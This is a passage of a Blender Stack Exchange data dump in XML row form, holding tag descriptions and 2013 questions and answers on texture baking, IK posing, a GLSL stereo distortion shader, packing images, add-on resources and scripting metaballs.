  <row Id="1324" PostTypeId="5" CreationDate="2013-06-24T03:02:34.243" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/baking.html#render-baking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Precomputed maps&lt;/a&gt;&lt;/strong&gt; These maps, such as normal maps, ambient occlusion (AO) maps, and displacement maps, represent different values of a model or scene. The maps are baked onto images that can be saved and loaded at render time so that the computation of the value (normal, AO, displacement, etc.) doesn't have to be performed again every render. In the image file, each pixel represents the value for the matching UV coordinate.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Physics simulations&lt;/strong&gt; For physics simulations, use the &lt;a href=&quot;/questions/tagged/baking&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;baking&amp;#39;&quot; rel=&quot;tag&quot;&gt;baking&lt;/a&gt; tag.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-27T08:17:06.503" LastActivityDate="2020-10-27T08:17:06.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1325" PostTypeId="4" CreationDate="2013-06-24T03:02:34.243" Score="0" Body="Questions about blender's Bake feature under the Render panel, such baked images as normal maps, AO maps, and displacement maps, and texture maps." OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2014-07-29T04:18:50.613" LastActivityDate="2014-07-29T04:18:50.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1326" PostTypeId="5" CreationDate="2013-06-24T03:05:03.427" Score="0" Body="" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-24T03:05:03.427" LastActivityDate="2013-06-24T03:05:03.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1327" PostTypeId="4" CreationDate="2013-06-24T03:05:03.427" Score="0" Body="Questions related to Blender's handling of alpha-transparency in images" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-06-24T03:05:03.427" LastActivityDate="2013-06-24T03:05:03.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1328" PostTypeId="5" CreationDate="2013-06-24T03:06:48.840" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-24T03:06:48.840" LastActivityDate="2013-06-24T03:06:48.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1329" PostTypeId="4" CreationDate="2013-06-24T03:06:48.840" Score="0" Body="Vertex colors are color values that can be stored with each vertex in a mesh. This tag is for anything related to them." OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-06-29T21:53:29.860" LastActivityDate="2013-06-29T21:53:29.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1331" PostTypeId="5" CreationDate="2013-06-24T12:47:48.193" Score="0" Body="" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-06-24T12:47:48.193" LastActivityDate="2013-06-24T12:47:48.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1332" PostTypeId="4" CreationDate="2013-06-24T12:47:48.193" Score="0" Body="Questions pertaining to software performance or computational speed of Blender should use this tag. (Do not ask hardware specific questions. They are considered off-topic)" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-06-24T12:53:28.137" LastActivityDate="2013-06-24T12:53:28.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1333" PostTypeId="1" AcceptedAnswerId="1370" CreationDate="2013-06-24T14:36:42.790" Score="5" ViewCount="1182" Body="&lt;p&gt;I need several poses and would like to know if whether it would be possible to pin the feet or hands of a model to a plane (as floor or wall) while animating excercises like squat or push-up ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If IK would be the answer: Setting an inverse kinematic constraint usually allows me to move the legs by moving a foot, but I want it the other way around. I used rigify and I'm still intimidated by the complexity of this rig, how should I setup the IK chain (without breaking it) ?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-06-24T15:02:45.380" LastActivityDate="2016-07-31T13:43:51.700" Title="Is it possible to pin distinct Bones of a Model to a Plane while posing?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1334" PostTypeId="2" ParentId="1308" CreationDate="2013-06-24T14:58:30.580" Score="11" Body="&lt;p&gt;As answered by @&lt;a href=&quot;https://blender.stackexchange.com/a/1310/228&quot;&gt;ideasman42&lt;/a&gt;, pivot point align option is a really awesome transformation tool. That coupled with Proportional Editing (Object Mode with Constant Falloff) the following transformations can be easily achieved.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Initial state of the objects&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable Pivot Point Align (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;,&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Enable Proportional Editing (&lt;kbd&gt;O&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Choose Constant Falloff (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;O&lt;/kbd&gt; until constant falloff is displayed).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TEMzJ.png&quot; alt=&quot;Enable Pivot Point Align, Proportional Editing with Constant Falloff&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Left most object selected and scaled&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Start scaling the objects and move the mouse while adjusting the proportional inflience area by scrolling the mouse wheel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hfXhz.png&quot; alt=&quot;Start scaling the objects&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Middle object selected and scaled&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In this case, the objects are proportionally scaled about the middle object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VDzSA.png&quot; alt=&quot;Another way of scaling the same set of objects&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-08-08T15:53:40.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1335" PostTypeId="1" AcceptedAnswerId="1392" CreationDate="2013-06-24T15:51:35.043" Score="6" ViewCount="997" Body="&lt;p&gt;I am trying to achieve an inverse lens ditortion for the Oculus Rift during Side-By-Side stereo in the game engine. I am using a custom Filter2D with this GLSL shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distortion can be achieved as described &lt;a href=&quot;http://www.dgp.toronto.edu/~mccrae/projects/firebox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Another fragment shader for that cause can be found in the &lt;a href=&quot;https://github.com/OpenHMD/OpenHMD/blob/master/examples/opengl/shaders/test1.frag.glsl&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenHMD examples&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distortion looks good without stereo, but is asymmetric when I render it with Side-By-Side. For other stereo options, the output is not correct, but symmetric. Where is the problem here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uniform sampler2D bgl_RenderedTexture;&#xA;&#xA;const vec4 kappa = vec4(1.0,1.7,0.7,15.0);&#xA;&#xA;uniform float screen_width;&#xA;uniform float screen_height;&#xA;&#xA;const float scaleFactor = 0.9;&#xA;&#xA;const vec2 leftCenter = vec2(0.25, 0.5);&#xA;const vec2 rightCenter = vec2(0.75, 0.5);&#xA;&#xA;// Scales input texture coordinates for distortion.&#xA;vec2 hmdWarp(vec2 LensCenter, vec2 texCoord, vec2 Scale, vec2 ScaleIn) {&#xA;    vec2 theta = (texCoord - LensCenter) * ScaleIn; &#xA;    float rSq = theta.x * theta.x + theta.y * theta.y;&#xA;    vec2 rvector = theta * (kappa.x + kappa.y * rSq + kappa.z * rSq * rSq + kappa.w * rSq * rSq * rSq);&#xA;    vec2 tc = LensCenter + Scale * rvector;&#xA;    return tc;&#xA;}&#xA;&#xA;bool validate(vec2 tc, int left_eye) {&#xA;    //keep within bounds of texture &#xA;    if ((left_eye == 1 &amp;amp;&amp;amp; (tc.x &amp;lt; 0.0 || tc.x &amp;gt; 0.5)) ||   &#xA;        (left_eye == 0 &amp;amp;&amp;amp; (tc.x &amp;lt; 0.5 || tc.x &amp;gt; 1.0)) ||&#xA;        tc.y &amp;lt; 0.0 || tc.y &amp;gt; 1.0) {&#xA;        return false;&#xA;    }&#xA;    return true;&#xA;}&#xA;&#xA;void main() {&#xA;    vec2 screen = vec2(screen_width, screen_height);&#xA;&#xA;    float as = float(screen.x / 2.0) / float(screen.y);&#xA;    vec2 Scale = vec2(0.5, as);&#xA;    vec2 ScaleIn = vec2(2.0 * scaleFactor, 1.0 / as * scaleFactor);&#xA;&#xA;    vec2 texCoord = gl_TexCoord[0].st;&#xA;&#xA;    vec2 tc = vec2(0);&#xA;    vec4 color = vec4(0);&#xA;&#xA;    if (texCoord.x &amp;lt; 0.5) {&#xA;        tc = hmdWarp(leftCenter, texCoord, Scale, ScaleIn );&#xA;        color = texture2D(bgl_RenderedTexture, tc);&#xA;        if (!validate(tc, 1))&#xA;            color = vec4(0);&#xA;    } else {&#xA;        tc = hmdWarp(rightCenter, texCoord, Scale, ScaleIn);&#xA;        color = texture2D(bgl_RenderedTexture, tc);&#xA;        if (!validate(tc, 0))&#xA;            color = vec4(0);&#xA;    }   &#xA;    gl_FragColor = color;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are my &lt;a href=&quot;http://imgur.com/ZkUR7Ge,u6ALVei,n2AEb8O,kSpOWNj&quot; rel=&quot;nofollow noreferrer&quot;&gt;render results&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First Image:&lt;/strong&gt; Rendered with Above-Below, the result is at least symmetric.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second Image:&lt;/strong&gt; Rendered with no stereo, looking good, but unusable for the glasses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third Image:&lt;/strong&gt; Asymmetric Side-By-Side rendering cropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fourth Image:&lt;/strong&gt; Aysmmetric Side-By-Side rendering without crop (validate function commented out)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant stereo code is in &lt;a href=&quot;https://gitorious.org/blenderprojects/blender/blobs/master/blender/source/gameengine/Rasterizer/RAS_OpenGLRasterizer/RAS_OpenGLRasterizer.cpp#line513&quot; rel=&quot;nofollow noreferrer&quot;&gt;RAS_OpenGLRasterizer.cpp&lt;/a&gt;, but I couldn't find the cause of the asymmetry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; A blend file with this issue can be downloaded &lt;a href=&quot;https://docs.google.com/file/d/0B0bLtNyAhxgoZlgycFN4NHRNLTQ/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="796" LastEditorUserId="796" LastEditDate="2013-06-26T13:12:47.840" LastActivityDate="2013-08-25T10:23:21.983" Title="Why is the result of this GLSL shader asymetric when rendering with stereo &quot;Side-By-Side&quot;?" Tags="&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2013-07-09T05:26:04.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="1336" PostTypeId="1" AcceptedAnswerId="1337" CreationDate="2013-06-24T16:51:31.047" Score="13" ViewCount="6425" Body="&lt;p&gt;I'm trying to use the background images option to model from blueprints.  After I cropped, loaded, positioned and scaled in each viewport, things were going pretty well with the modeling.  I saved the progress on the model and came back the next day and the images were not there.  Am I missing something?  Do I have to set everything else up again or do you have to get your modeling done in one session?&lt;/p&gt;&#xA;" OwnerUserId="809" LastEditorUserId="12" LastEditDate="2013-06-24T18:31:01.913" LastActivityDate="2016-05-22T07:54:23.193" Title="Is there any way to save background images in the .blend file?" Tags="&lt;blend-files&gt;&lt;image&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1337" PostTypeId="2" ParentId="1336" CreationDate="2013-06-24T16:58:04.773" Score="14" Body="&lt;p&gt;&lt;strong&gt;The most convenient way&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;File -&gt; External Data -&gt; Pack into .blend&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the report area it will say &lt;code&gt;'n files packed'&lt;/code&gt; Where n is the amount of images currently in the image list. Now hitting save will include those images in the .blend.&#xA;The problem you might have with this method is that it will auto-pack any subsequent images you add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatively (one by one, gives more control)&lt;/strong&gt;&lt;br&gt;&#xA;You do them individually, go to the UV image editor. For each image you want to pack you select the image so it shows in the view, then&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Image &gt; Pack Image  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again &lt;strong&gt;you have to save the .blend file&lt;/strong&gt; before exiting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further reading&lt;/strong&gt;&lt;br&gt;&#xA;Obligitory &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Data_System#Pack_and_Unpack_Data&quot; rel=&quot;noreferrer&quot;&gt;Blender Wiki link: &lt;em&gt;Pack and Unpack Data&lt;/em&gt;&lt;/a&gt;, it's an interesting read.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorDisplayName="user1853" LastEditDate="2016-05-22T07:54:23.193" LastActivityDate="2016-05-22T07:54:23.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1338" PostTypeId="2" ParentId="1336" CreationDate="2013-06-24T17:29:56.040" Score="2" Body="&lt;p&gt;It sounds like the problem you're having is actually not related to saving the images, but instead having to do with how you're trying to view them. Background images only show up when you're in Orthographic mode, and using one of the preset view angles (Top, Side, Front, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To toggle in and out of Orthographic mode, press &lt;kbd&gt;numpad 5&lt;/kbd&gt;. The shortcuts for the preset views are the other numpad keys (Top = &lt;kbd&gt;numpad 7&lt;/kbd&gt;, Side = &lt;kbd&gt;numpad 1&lt;/kbd&gt;, Front = &lt;kbd&gt;numpad 3&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-24T17:29:56.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1339" PostTypeId="2" ParentId="582" CreationDate="2013-06-24T17:54:51.877" Score="7" Body="&lt;p&gt;For animations that output to a sequence of individual image files an important checkbox is the Overwrite checkbox in the Output subtab of the Render tab of the Properties window.  It defaults to checked.  If you uncheck that box you can interrupt a render, shut down your laptop, turn it back on, and click the render animation button and it will &lt;strong&gt;not&lt;/strong&gt; overwrite the frames that have already been stored to the directory, instead starting calculations at the first missing frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A drawback is that if you change the scene and want to discard the rendered frames containing stale data, you have to delete them from the directory some other way (using windows explorer, or linux rm)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another drawback is that blender's default output directory is /tmp, which some flavors of linux wipe clean every time you reboot the computer.  I use /var/tmp/blender/projectname/ instead.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2013-06-24T17:54:51.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1340" PostTypeId="2" ParentId="1336" CreationDate="2013-06-24T18:15:26.943" Score="3" Body="&lt;p&gt;Without knowing exactly what you did to lose the images, I guess it is ok to share this tip as well, &lt;a href=&quot;https://blender.stackexchange.com/a/1337/12&quot;&gt;zeffii&lt;/a&gt; is right that packing is more convenient but packing images &lt;strong&gt;&lt;em&gt;will&lt;/em&gt;&lt;/strong&gt; increase your file size, more so if you have several and or they are large in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to &lt;a href=&quot;https://blender.stackexchange.com/questions/1336/is-there-any-way-to-save-background-images-in-the-blend-file#comment2293_1336&quot;&gt;satishgoda's comment&lt;/a&gt; above, you wouldn't normally &lt;em&gt;want&lt;/em&gt; to pack blueprints with your model. So, while it &lt;em&gt;is&lt;/em&gt; what you asked for, based on your question, I can tell it isn't what you actually need. You can press the &lt;em&gt;F&lt;/em&gt; next to the image(s) and save as you would normally. Checking this makes sure that they don't get removed even when they have no users &lt;em&gt;(when they show up with a 0 beside their name which happens when you don't have the image in use)&lt;/em&gt;, so as long as you haven't moved the file, you should be ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RztFJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2013-09-10T17:47:16.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1342" PostTypeId="1" CreationDate="2013-06-24T18:36:55.243" Score="4" ViewCount="3068" Body="&lt;p&gt;Trying to keep track of the updates to all the great, user-developed add-ons is fairly frustrating (at least for me). Is there currently a centralized resource where all these amazing add-ons are kept and updated in one location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there isn't such a resource, would it be possible to have blender query the collection of installed add-ins and then iterate through on-line references looking at version #'s for add-ins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since, as far as I know, it hasn't been done...I have to ask if there are any major flaws in the concept. Of course, in my dream scenario, there would be a &quot;voting&quot; front-end that would allow users to see what the most popular and useful add-ons are and where you don't have to read pages (and pages) of threads.&lt;/p&gt;&#xA;" OwnerUserId="809" LastEditorUserId="12" LastEditDate="2013-06-24T19:48:22.300" LastActivityDate="2015-10-29T08:03:04.337" Title="Resource for Blender addons?" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1343" PostTypeId="2" ParentId="1342" CreationDate="2013-06-24T19:08:32.150" Score="7" Body="&lt;p&gt;There are a number of online resources available that keep track of a number of Blender Addons, though I am not aware of any one centralized site that covers all of them.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Your first go-to resource is going to be the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts&quot; rel=&quot;nofollow&quot;&gt;Blender Wiki's &lt;em&gt;Scripts&lt;/em&gt; page&lt;/a&gt;, which keeps up-to-date information on all of the addons that come packaged with the Blender installation, as well as several others.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another valuable resource is the unofficial &lt;a href=&quot;http://blenderaddonlist.blogspot.com&quot; rel=&quot;nofollow&quot;&gt;Blender Addon List&lt;/a&gt;, a listing of many Blender addons maintained by Daniel Banasik.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yet another resource is Graphicall.org. I am aware of a number of different user compilations of various scripts, but perhaps the largest of these is &lt;a href=&quot;http://www.graphicall.org/950&quot; rel=&quot;nofollow&quot;&gt;on this page&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The short answer to your question is that these resources are scattered everywhere, and while there are some that cover a large number of Blender addons, there isn't yet one location that keeps track of all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the process of pulling these resources into one centralized location would be a logistical nightmare, with whole hosts of differences between how different scripts handle updates, as well as certain scripts being made obsolete by updates to new versions of Blender. I won't say it can't be done, but it would certainly be difficult to keep track of those things any better than the resources already out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: zeffii also pointed out that you can get a zip with the most recent version of Blender and all user-contributed addons at &lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;builder.blender.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Added the Blender Addon List and removed a link to an inactive resource.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2015-10-29T08:03:04.337" LastActivityDate="2015-10-29T08:03:04.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1345" PostTypeId="1" AcceptedAnswerId="1347" CreationDate="2013-06-24T20:24:03.413" Score="6" ViewCount="559" Body="&lt;p&gt;I would like to get the windows that I left open the last time I worked in Blender, either in single or multi-monitor settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be done?&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="761" LastEditDate="2013-06-24T21:04:25.237" LastActivityDate="2016-07-31T13:48:11.420" Title="Restore last windows arrangement in single/multi-monitor setup" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1347" PostTypeId="2" ParentId="1345" CreationDate="2013-06-24T21:05:07.030" Score="2" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/users/20/charlesl&quot;&gt;CharlesL&lt;/a&gt; pointed out, the UI layout is saved in the .blend file.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Setup your windows as desired.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;File &gt; Save Startup File&lt;/em&gt; (shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When loading files uncheck the &lt;em&gt;Load UI&lt;/em&gt; option to prevent the layout changing. This can be made the default by disabling said setting under the &lt;em&gt;User Preferences &gt; File tab&lt;/em&gt; (shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2016-07-31T13:48:11.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1348" PostTypeId="1" CreationDate="2013-06-25T02:36:40.480" Score="5" ViewCount="140" Body="&lt;p&gt;I've tried animating the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output#Dimensions&quot; rel=&quot;nofollow&quot;&gt;&quot;Time Remapping&quot; settings&lt;/a&gt;, but get the &quot;property cannot be animated&quot; message. Is there a way to animate the time of a scene?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="290" LastEditDate="2013-06-25T09:04:51.627" LastActivityDate="2013-06-27T09:30:16.560" Title="How can you animate time?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2013-07-09T00:52:18.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="1349" PostTypeId="1" AcceptedAnswerId="1360" CreationDate="2013-06-25T03:26:32.417" Score="11" ViewCount="2573" Body="&lt;p&gt;I'm generating metaballs with a python script, and I need to be able to toggle the &lt;code&gt;negative&lt;/code&gt; option for some of the metaballs. (Edit: &lt;code&gt;negative&lt;/code&gt; changes the object's &quot;influence&quot; to subtract from the other metaballs, instead of adding like normal metaballs; the &lt;code&gt;negative&lt;/code&gt; checkbox can be found in a metaball object's Object Data section while in Edit Mode.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def metbaseobj(N=3,scale=1.0):&#xA;    '''adds N metaball objects to provide the base shape'''&#xA;    shapes = ['CAPSULE','ELLIPSOID','BALL','CUBE']&#xA;    metbaseinfo = []&#xA;&#xA;    for each in range(N):&#xA;        shape = shapes[random.randint(0,1)]&#xA;        loc=(scale*random.random(),scale*random.random(),scale*random.random())&#xA;        rot=(random.random(),random.random(),random.random())&#xA;        bpy.ops.object.metaball_add(type=shape,location=loc,rotation=rot)&#xA;        #[toggle metaball influence to be negative here]&#xA;        metbaseinfo.append((shape,loc,rot))&#xA;&#xA;    return(metbaseinfo)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.MetaElement.html&quot;&gt;documentation page&lt;/a&gt; that makes me think &lt;code&gt;use_negative=True&lt;/code&gt; is what I need, I just can't figure out how to use it exactly. Thanks for any help, I'll keep looking in the meantime.&lt;/p&gt;&#xA;" OwnerUserId="813" LastEditorUserId="228" LastEditDate="2013-06-25T06:09:19.183" LastActivityDate="2013-06-25T16:06:26.117" Title="Scripting metaballs with negative influence" Tags="&lt;python&gt;&lt;scripting&gt;&lt;meta-objects&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1350" PostTypeId="5" CreationDate="2013-06-25T04:11:26.547" Score="0" Body="&lt;p&gt;Good topology resource collection on &lt;a href=&quot;https://vimeo.com/cgcookie/videos/search:topology/sort:date&quot; rel=&quot;nofollow&quot;&gt;CG Cookie&lt;/a&gt; or (&lt;a href=&quot;https://cgcookie.com/archive/learning-mesh-topology-collection/&quot; rel=&quot;nofollow&quot;&gt;archived&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-11-22T00:32:19.783" LastActivityDate="2015-11-22T00:32:19.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1351" PostTypeId="4" CreationDate="2013-06-25T04:11:26.547" Score="0" Body="Questions about topology.&#xD;&#xA;Topology refers to the arrangement of faces, edges, and vertices on a mesh." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-25T04:14:38.513" LastActivityDate="2013-06-25T04:14:38.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1352" PostTypeId="5" CreationDate="2013-06-25T04:14:10.073" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-25T04:14:10.073" LastActivityDate="2013-06-25T04:14:10.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1353" PostTypeId="4" CreationDate="2013-06-25T04:14:10.073" Score="0" Body="Questions related to Blender's array modifier. The array modifier can be used to easily create and arrange duplicates of an object." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-30T01:03:27.800" LastActivityDate="2013-06-30T01:03:27.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1354" PostTypeId="5" CreationDate="2013-06-25T04:15:34.687" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-25T04:15:34.687" LastActivityDate="2013-06-25T04:15:34.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1355" PostTypeId="4" CreationDate="2013-06-25T04:15:34.687" Score="0" Body="Meta objects provide an implicit approach to modeling: instead of defining the surface of a model explicitly (as is the case with meshes and NURBS surfaces), the surface of a collection of meta objects is calculated with a mathematical function evaluated with the meta objects as input. " OwnerUserId="813" LastEditorUserId="813" LastEditDate="2013-06-25T04:17:17.287" LastActivityDate="2013-06-25T04:17:17.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1356" PostTypeId="5" CreationDate="2013-06-25T04:25:41.573" Score="0" Body="&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Blender provides a number of different editors for displaying and&#xA;modifying different aspects of data.&lt;/p&gt;&#xA;&lt;p&gt;The Editor Type selector, the first button at the left side of a&#xA;header, allows you to change the editor in that area. Every area in&#xA;Blender may contain any type of editor and it is also possible to open&#xA;the same type multiple times.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Edit mode documentation at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/selecting.html#edit-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Explanation of modes at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/modes.html#object-mode-list&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-12-21T21:50:25.910" LastActivityDate="2020-12-21T21:50:25.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
